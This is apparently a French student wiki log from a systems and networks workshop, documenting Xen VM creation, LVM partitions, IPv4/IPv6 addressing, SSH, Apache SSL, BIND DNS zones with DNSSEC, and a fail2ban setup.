&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12108</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12108"/>
		<updated>2026-02-07T17:43:02Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Vérifications */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv6|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# ls /etc/bind/keys&lt;br /&gt;
Kwahran.online.+013+17231.key	   Kwahran.online.+013+62188.key&lt;br /&gt;
Kwahran.online.+013+17231.private  Kwahran.online.+013+62188.private&lt;br /&gt;
Kwahran.online.+013+17231.state    Kwahran.online.+013+62188.state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
